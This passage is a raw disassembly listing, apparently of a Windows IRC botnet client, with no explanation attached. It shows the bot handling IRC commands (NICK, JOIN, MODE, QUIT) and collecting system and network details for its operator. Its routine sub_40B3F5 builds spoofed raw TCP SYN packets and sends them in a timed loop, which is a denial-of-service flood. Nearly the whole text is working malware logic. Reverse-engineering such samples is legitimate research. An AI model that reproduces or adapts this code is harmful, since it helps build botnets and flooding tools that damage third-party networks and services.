loc_40AEEC cmp [ebp+var_C], ebx jz short loc_40AEFB push edi push [ebp+var_C] call sub_40E4B0 pop ecx cmp eax, ebx pop ecx jz short loc_40AEFB push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40450F add esp, 0Ch jmp short loc_40AEFB ; --------------------------------------------------------------------------- loc_40AEEC: ; CODE XREF: sub_4077FD+36C6j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40450F pop ecx pop ecx loc_40AEFB: ; CODE XREF: sub_4077FD+36CBj ; sub_4077FD+36DAj ... push 0FFFFFFFEh pop eax jmp loc_407C53 ; --------------------------------------------------------------------------- loc_40AF03: ; CODE XREF: sub_4077FD+E47j ; sub_4077FD+E5Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40450F pop ecx or eax, 0FFFFFFFFh pop ecx jmp loc_407C53 ; --------------------------------------------------------------------------- loc_40AF1A: ; CODE XREF: sub_4077FD+E1Dj ; sub_4077FD+E32j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40450F pop ecx xor eax, eax pop ecx jmp loc_407C53 ; --------------------------------------------------------------------------- loc_40AF30: ; CODE XREF: sub_4077FD+DF3j ; sub_4077FD+E08j push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_401000 loc_40AF41: ; CODE XREF: sub_4077FD+27DBj ; sub_4077FD+3556j add esp, 0Ch jmp loc_40B19B ; --------------------------------------------------------------------------- loc_40AF49: ; CODE XREF: sub_4077FD+D77j ; sub_4077FD+D8Cj push [ebp+edi+var_A0] push 1Ch push offset aProcessList ; "Process list" push offset aProc ; "PROC " loc_40AF5C: ; CODE XREF: sub_4077FD+C96j ; sub_4077FD+CBFj ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_40C2EA add esp, 20h jmp loc_407C50 ; --------------------------------------------------------------------------- loc_40AF78: ; CODE XREF: sub_4077FD+C2Dj ; sub_4077FD+C42j ... push esi push offset aSecure ; "secure" call sub_40D860 pop ecx test eax, eax pop ecx jz short loc_40AFA0 push esi push offset aSec ; "sec" call sub_40D860 pop ecx mov [ebp+var_5B8], ebx test eax, eax pop ecx jnz short loc_40AFAA loc_40AFA0: ; CODE XREF: sub_4077FD+378Aj mov [ebp+var_5B8], 1 loc_40AFAA: ; CODE XREF: sub_4077FD+37A1j push [ebp+var_9C] lea eax, [ebp+var_63C] push 80h push eax call sub_40D3F7 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_5B8], ebx mov [ebp+var_640], eax mov eax, [ebp+var_4] mov [ebp+var_5B4], eax mov eax, [ebp+var_8] mov [ebp+var_5B0], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40AFF1 mov eax, offset aUnsecuring ; "Unsecuring" loc_40AFF1: ; CODE XREF: sub_4077FD+37EDj push eax push offset dword_41E5CC lea eax, [ebp+var_2E4] push 200h push eax call sub_40D3F7 push ebx lea eax, [ebp+var_2E4] push 18h push eax call sub_40C062 add esp, 1Ch mov [ebp+var_5BC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_640] push ebx push eax push offset sub_40699F push ebx push ebx call dword_418048 ; CreateThread mov ecx, [ebp+var_5BC] imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz short loc_40B077 call dword_418044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2E4] push offset unk_41E590 push eax call sub_40C6C3 add esp, 0Ch jmp loc_409BDA ; --------------------------------------------------------------------------- loc_40B06F: ; CODE XREF: sub_4077FD+3880j push 32h call dword_418040 ; Sleep loc_40B077: ; CODE XREF: sub_4077FD+3850j cmp [ebp+var_5AC], ebx jz short loc_40B06F jmp loc_409BDA ; --------------------------------------------------------------------------- loc_40B084: ; CODE XREF: sub_4077FD+C03j ; sub_4077FD+C18j push offset aHum ; "Hum" push offset dword_41E57C loc_40B08E: ; CODE XREF: sub_4077FD+2BE9j ; sub_4077FD+2BF3j ... lea eax, [ebp+var_2E4] jmp loc_409C8F ; --------------------------------------------------------------------------- loc_40B099: ; CODE XREF: sub_4077FD+BD9j ; sub_4077FD+BEEj mov edi, [ebp+edi+var_A0] cmp edi, ebx jz short loc_40B0EC push edi call sub_40D9BF cmp eax, ebx pop ecx jl short loc_40B0E4 cmp eax, 2 jge short loc_40B0E4 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 lea esi, [ecx+edx] cmp [esi], bl jz short loc_40B0DC lea eax, [esi+1] push eax lea eax, [ebp+var_2E4] push offset unk_41F8B0 push eax call sub_40C6C3 mov [esi], bl jmp short loc_40B135 ; --------------------------------------------------------------------------- loc_40B0DC: ; CODE XREF: sub_4077FD+38C4j push eax push offset unk_41E54C jmp short loc_40B129 ; --------------------------------------------------------------------------- loc_40B0E4: ; CODE XREF: sub_4077FD+38B0j ; sub_4077FD+38B5j push eax push offset unk_41E51C jmp short loc_40B129 ; --------------------------------------------------------------------------- loc_40B0EC: ; CODE XREF: sub_4077FD+38A5j mov edi, [ebp+arg_18] xor esi, esi loc_40B0F1: ; CODE XREF: sub_4077FD+3910j push [ebp+var_A4] push edi call sub_40D860 pop ecx test eax, eax pop ecx jz short loc_40B114 inc esi add edi, 80h cmp esi, 2 jl short loc_40B0F1 jmp loc_409BB9 ; --------------------------------------------------------------------------- loc_40B114: ; CODE XREF: sub_4077FD+3904j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C8] push eax push offset unk_41F8B0 loc_40B129: ; CODE XREF: sub_4077FD+2CCBj ; sub_4077FD+3207j ... lea eax, [ebp+var_2E4] push eax call sub_40C6C3 loc_40B135: ; CODE XREF: sub_4077FD+38DDj add esp, 0Ch jmp loc_409BB9 ; --------------------------------------------------------------------------- loc_40B13D: ; CODE XREF: sub_4077FD+BAFj ; sub_4077FD+BC4j push [ebp+var_A0] push offset dword_41F85C call sub_40D860 pop ecx test eax, eax pop ecx jz short loc_40B19B call sub_40C225 push ebx call dword_418074 ; ExitProcess loc_40B15F: ; CODE XREF: sub_4077FD+B85j ; sub_4077FD+B9Aj push [ebp+edi+var_A0] xor eax, eax cmp [ebp+var_8C0], bl setnz al push eax lea eax, [ebp+var_5A8] push dword_41DE58 push eax call sub_406777 lea eax, [ebp+var_5A8] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40450F add esp, 1Ch loc_40B19B: ; CODE XREF: sub_4077FD+614j ; sub_4077FD+620j ... mov eax, [ebp+arg_24] jmp loc_407C53 ; --------------------------------------------------------------------------- loc_40B1A3: ; CODE XREF: sub_4077FD+6A1j ; sub_4077FD+6B6j mov edi, [ebp+edi+var_A0] cmp edi, ebx mov [ebp+arg_10], edi jz loc_407C50 cmp [ebp+var_A8], ebx jnz loc_407C50 push offset asc_41F920 ; "!" push [ebp+var_A4] call sub_40E6E9 mov edi, eax push offset dword_4242EC push ebx inc edi call sub_40E6E9 push offset asc_41E518 ; "~" push eax call sub_40E6E9 push [ebp+arg_10] mov esi, eax push offset aSock ; "sock" call sub_40D860 add esp, 20h test eax, eax jz short loc_40B24B lea eax, [ebp+var_C8] push esi push eax lea eax, [ebp+var_C8] push eax push offset aNoticeSFailedS ; "NOTICE %s :FAILED (%s!%s).\r\n" push [ebp+arg_4] call sub_40450F lea eax, [ebp+var_C8] push eax push offset aNoticeSFailed_ ; "NOTICE %s :FAILED.\r\n" push [ebp+arg_4] call sub_40450F push esi push edi push offset unk_41E4B0 loc_40B237: ; CODE XREF: sub_4077FD+3AA7j lea eax, [ebp+var_2E4] push eax call sub_40C6C3 add esp, 30h jmp loc_409BDA ; --------------------------------------------------------------------------- loc_40B24B: ; CODE XREF: sub_4077FD+3A01j mov [ebp+arg_24], ebx loc_40B24E: ; CODE XREF: sub_4077FD+3A6Ej mov eax, [ebp+arg_24] push esi push off_41DF5C[eax] call sub_40C3B5 pop ecx test eax, eax pop ecx jnz short loc_40B2A6 add [ebp+arg_24], 4 cmp [ebp+arg_24], 4 jb short loc_40B24E lea eax, [ebp+var_C8] push esi push eax lea eax, [ebp+var_C8] push eax push offset aNoticeSFailedS ; "NOTICE %s :FAILED (%s!%s).\r\n" push [ebp+arg_4] call sub_40450F lea eax, [ebp+var_C8] push eax push offset aNoticeSFailed_ ; "NOTICE %s :FAILED.\r\n" push [ebp+arg_4] call sub_40450F push esi push edi push offset unk_41E480 jmp short loc_40B237 ; --------------------------------------------------------------------------- loc_40B2A6: ; CODE XREF: sub_4077FD+3A64j mov esi, [ebp+arg_18] xor edi, edi loc_40B2AB: ; CODE XREF: sub_4077FD+3ACFj cmp [esi], bl jnz short loc_40B2C2 push [ebp+arg_10] push offset aSock ; "sock" call sub_40D860 pop ecx test eax, eax pop ecx jz short loc_40B2D3 loc_40B2C2: ; CODE XREF: sub_4077FD+3AB0j inc edi add esi, 80h cmp edi, 2 jl short loc_40B2AB jmp loc_407C50 ; --------------------------------------------------------------------------- loc_40B2D3: ; CODE XREF: sub_4077FD+3AC3j shl edi, 7 add edi, [ebp+arg_18] lea eax, [ebp+var_830] push 7Fh push eax push edi call sub_40C720 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_407C50 push ebx push [ebp+var_4] push offset unk_41E45C loc_40B2FD: ; CODE XREF: sub_4077FD+33C7j push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h jmp loc_407C50 ; --------------------------------------------------------------------------- loc_40B313: ; CODE XREF: sub_4077FD+1F9j ; sub_4077FD+20Ej push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40450F push offset aXi ; "+xi" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40450F push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40450F add esp, 2Ch mov dword_481D58, esi jmp loc_409BEA sub_4077FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B359 proc near ; DATA XREF: sub_4077FD+22FEo var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_40B6A6 push eax lea eax, [ebp+var_414] push offset dword_41F92C push eax call sub_40C6C3 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_40B3D6 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_404555 add esp, 14h loc_40B3D6: ; CODE XREF: sub_40B359+5Bj lea eax, [ebp+var_414] push eax call sub_403145 push [ebp+var_10] call sub_40C378 pop ecx pop ecx push esi call dword_418050 ; ExitThread pop edi pop esi sub_40B359 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B3F5 proc near ; CODE XREF: sub_40B6A6+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_42D7FC ; WSAStartup test eax, eax jz short loc_40B435 xor eax, eax jmp loc_40B679 ; --------------------------------------------------------------------------- loc_40B435: ; CODE XREF: sub_40B3F5+37j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_42D918 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_40B671 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_42D858 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_40B667 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_40CC40 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_42D878 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_42D878 ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_42D878 ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_42D878 ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call dword_418070 ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call dword_41806C ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_40DDE0 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_40B520: ; CODE XREF: sub_40B3F5+25Dj ; sub_40B3F5+269j mov [ebp+var_24], bx call sub_40CB5F cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_42D878 ; htons mov [ebp+var_34], ax call sub_40CB5F mov edi, eax shl edi, 10h call sub_40CB5F or edi, eax push edi call dword_42D878 ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_42D874 ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_42D878 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call near ptr sub_40C820 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call near ptr sub_40C820 lea eax, [ebp+var_B4] push 34h push eax call sub_405935 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_40C820 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call near ptr sub_40C820 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_40CC40 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_405935 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_40C820 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_42D8D8 ; sendto cmp eax, 0FFFFFFFFh jz short loc_40B67D add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call dword_41806C ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_40B664 jl loc_40B520 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jb loc_40B520 loc_40B664: ; CODE XREF: sub_40B3F5+25Bj mov ebx, [ebp+arg_8] loc_40B667: ; CODE XREF: sub_40B3F5+78j ; sub_40B3F5+2AFj push [ebp+var_C] call dword_42D90C ; closesocket pop esi loc_40B671: ; CODE XREF: sub_40B3F5+5Bj call dword_42D7E4 ; WSACleanup mov eax, ebx loc_40B679: ; CODE XREF: sub_40B3F5+3Bj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40B67D: ; CODE XREF: sub_40B3F5+247j call dword_42D814 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_41F958 push eax call sub_40C6C3 lea eax, [ebp+var_F4] push eax call sub_403145 add esp, 10h jmp short loc_40B667 sub_40B3F5 endp ; =============== S U B R O U T I N E ======================================= sub_40B6A6 proc near ; CODE XREF: sub_40B359+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_4057D9 push [esp+10h+arg_4] mov esi, eax call sub_40D9BF push [esp+14h+arg_8] mov ebx, eax call sub_40D9BF mov edi, eax call sub_40CB5F cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_40B3F5 add esp, 1Ch test eax, eax jnz short loc_40B6EF inc eax loc_40B6EF: ; CODE XREF: sub_40B6A6+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_40B6A6 endp ; =============== S U B R O U T I N E ======================================= sub_40B6FE proc near ; CODE XREF: sub_401000+74p ; sub_4077FD+3365p ... arg_0 = dword ptr 4 push esi push edi call dword_41805C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx xor edx, edx mov ecx, 15180h mov esi, 0E10h push 3Ch pop edi sub eax, [esp+8+arg_0] div ecx mov ecx, eax mov eax, edx xor edx, edx div esi mov esi, eax mov eax, edx xor edx, edx div edi push eax push esi push ecx push offset aDdDhDm ; "%dd %dh %dm" mov esi, offset dword_481D60 push 32h push esi call sub_40D3F7 add esp, 18h mov eax, esi pop edi pop esi retn sub_40B6FE endp ; =============== S U B R O U T I N E ======================================= sub_40B751 proc near ; CODE XREF: sub_40B807+290p push ebx push esi push edi mov edi, 0F4240h loc_40B759: ; CODE XREF: sub_40B751+2Fj ; sub_40B751+35j rdtsc push 3E8h mov ebx, edx mov esi, eax call dword_418040 ; Sleep rdtsc sub eax, esi push 0 sbb edx, ebx push edi push edx push eax call sub_40DE60 mov esi, edx mov ebx, eax test esi, esi ja short loc_40B759 jb short loc_40B788 cmp ebx, edi ja short loc_40B759 loc_40B788: ; CODE XREF: sub_40B751+31j push 0 push 64h push esi push ebx call sub_40DED0 mov ecx, edx push 64h xor edx, edx mov edi, eax test ecx, ecx pop eax ja short loc_40B7FB jb short loc_40B7A7 cmp edi, 50h jnb short loc_40B7AC loc_40B7A7: ; CODE XREF: sub_40B751+4Fj push 4Bh xor edx, edx pop eax loc_40B7AC: ; CODE XREF: sub_40B751+54j test ecx, ecx ja short loc_40B7FB jb short loc_40B7B7 cmp edi, 47h jnb short loc_40B7BC loc_40B7B7: ; CODE XREF: sub_40B751+5Fj push 42h xor edx, edx pop eax loc_40B7BC: ; CODE XREF: sub_40B751+64j test ecx, ecx ja short loc_40B7FB jb short loc_40B7C7 cmp edi, 37h jnb short loc_40B7CC loc_40B7C7: ; CODE XREF: sub_40B751+6Fj push 32h xor edx, edx pop eax loc_40B7CC: ; CODE XREF: sub_40B751+74j test ecx, ecx ja short loc_40B7FB jb short loc_40B7D7 cmp edi, 26h jnb short loc_40B7DC loc_40B7D7: ; CODE XREF: sub_40B751+7Fj push 21h xor edx, edx pop eax loc_40B7DC: ; CODE XREF: sub_40B751+84j test ecx, ecx ja short loc_40B7FB jb short loc_40B7E7 cmp edi, 1Eh jnb short loc_40B7EC loc_40B7E7: ; CODE XREF: sub_40B751+8Fj push 19h xor edx, edx pop eax loc_40B7EC: ; CODE XREF: sub_40B751+94j test ecx, ecx ja short loc_40B7FB jb short loc_40B7F7 cmp edi, 0Ah jnb short loc_40B7FB loc_40B7F7: ; CODE XREF: sub_40B751+9Fj xor eax, eax xor edx, edx loc_40B7FB: ; CODE XREF: sub_40B751+4Dj ; sub_40B751+5Dj ... sub eax, edi pop edi sbb edx, ecx add eax, ebx adc edx, esi pop esi pop ebx retn sub_40B751 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B807 proc near ; CODE XREF: sub_4077FD+350Cp var_968 = byte ptr -968h var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 968h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_4242F0 mov [ebp+var_CC], 94h call dword_4180E0 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40B88E cmp [ebp+var_C4], ebx jnz short loc_40B86A cmp [ebp+var_BC], 1 jnz short loc_40B854 mov [ebp+var_4], offset dword_41D888 loc_40B854: ; CODE XREF: sub_40B807+44j cmp [ebp+var_BC], 2 jnz loc_40B909 mov [ebp+var_4], offset dword_41D884 jmp short loc_40B8DA ; --------------------------------------------------------------------------- loc_40B86A: ; CODE XREF: sub_40B807+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40B87C mov [ebp+var_4], offset dword_41D880 jmp short loc_40B8D1 ; --------------------------------------------------------------------------- loc_40B87C: ; CODE XREF: sub_40B807+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40B8CA mov [ebp+var_4], offset dword_41D87C jmp short loc_40B8D1 ; --------------------------------------------------------------------------- loc_40B88E: ; CODE XREF: sub_40B807+33j cmp [ebp+var_C8], 5 jnz short loc_40B8CA cmp [ebp+var_C4], ebx jnz short loc_40B8A8 mov [ebp+var_4], offset dword_41D878 jmp short loc_40B8D1 ; --------------------------------------------------------------------------- loc_40B8A8: ; CODE XREF: sub_40B807+96j cmp [ebp+var_C4], 1 jnz short loc_40B8BA mov [ebp+var_4], offset dword_41D874 jmp short loc_40B8D1 ; --------------------------------------------------------------------------- loc_40B8BA: ; CODE XREF: sub_40B807+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40B8D1 loc_40B8CA: ; CODE XREF: sub_40B807+7Cj ; sub_40B807+8Ej mov [ebp+var_4], offset dword_41D86C loc_40B8D1: ; CODE XREF: sub_40B807+73j ; sub_40B807+85j ... cmp [ebp+var_BC], 2 jnz short loc_40B909 loc_40B8DA: ; CODE XREF: sub_40B807+61j cmp [ebp+var_B8], bl jz short loc_40B909 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_40C6C3 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40B909: ; CODE XREF: sub_40B807+54j ; sub_40B807+D1j ... mov ax, word_41BF80 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_42D774 mov [ebp+var_8], 100h cmp eax, ebx jz short loc_40B942 lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_40B942: ; CODE XREF: sub_40B807+12Cj push [ebp+arg_4] call sub_4058DC pop ecx push eax call dword_42D8B4 ; inet_addr mov [ebp+var_C], eax push 2 lea eax, [ebp+var_C] push 4 push eax call dword_42D834 ; gethostbyaddr cmp eax, ebx jz short loc_40B96B push dword ptr [eax] jmp short loc_40B970 ; --------------------------------------------------------------------------- loc_40B96B: ; CODE XREF: sub_40B807+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40B970: ; CODE XREF: sub_40B807+162j lea eax, [ebp+var_3E4] push eax call sub_40C6C3 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call dword_418088 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call dword_418108 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call dword_418104 ; GetTimeFormatA push 20h lea eax, [ebp+var_38] push ebx push eax call sub_40CC40 add esp, 0Ch lea eax, [ebp+var_38] push eax call dword_418100 ; GlobalMemoryStatus push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_40E887 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_968] push eax call sub_403913 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40B6FE add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_4058DC pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_403804 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_403804 pop ecx pop ecx push eax call sub_40B751 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_40D3F7 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40B807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BABB proc near ; CODE XREF: sub_4077FD+29CEp ; sub_4077FD+3526p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_40CC40 add esp, 0Ch cmp dword_42D958, 0 jnz short loc_40BB2F push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_42D75C ; InternetGetConnectedStateEx test eax, eax jnz short loc_40BB10 lea eax, [ebp+var_8C] push offset dword_41FAF0 push eax call sub_40C6C3 pop ecx pop ecx loc_40BB10: ; CODE XREF: sub_40BABB+40j test [ebp+var_C], 1 lea eax, [ebp+var_8] jz short loc_40BB28 push offset dword_41FAE8 loc_40BB1E: ; CODE XREF: sub_40BABB+72j push eax call sub_40C6C3 pop ecx pop ecx jmp short loc_40BB4E ; --------------------------------------------------------------------------- loc_40BB28: ; CODE XREF: sub_40BABB+5Cj push offset dword_41FAE4 jmp short loc_40BB1E ; --------------------------------------------------------------------------- loc_40BB2F: ; CODE XREF: sub_40BABB+28j mov esi, offset off_41FAE0 lea eax, [ebp+var_8] push esi push eax call sub_40C6C3 lea eax, [ebp+var_8C] push esi push eax call sub_40C6C3 add esp, 10h loc_40BB4E: ; CODE XREF: sub_40BABB+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_4058DC pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_40D3F7 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40BABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB81 proc near ; CODE XREF: sub_40BB81:loc_40C056p ; DATA XREF: sub_401141+104o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch 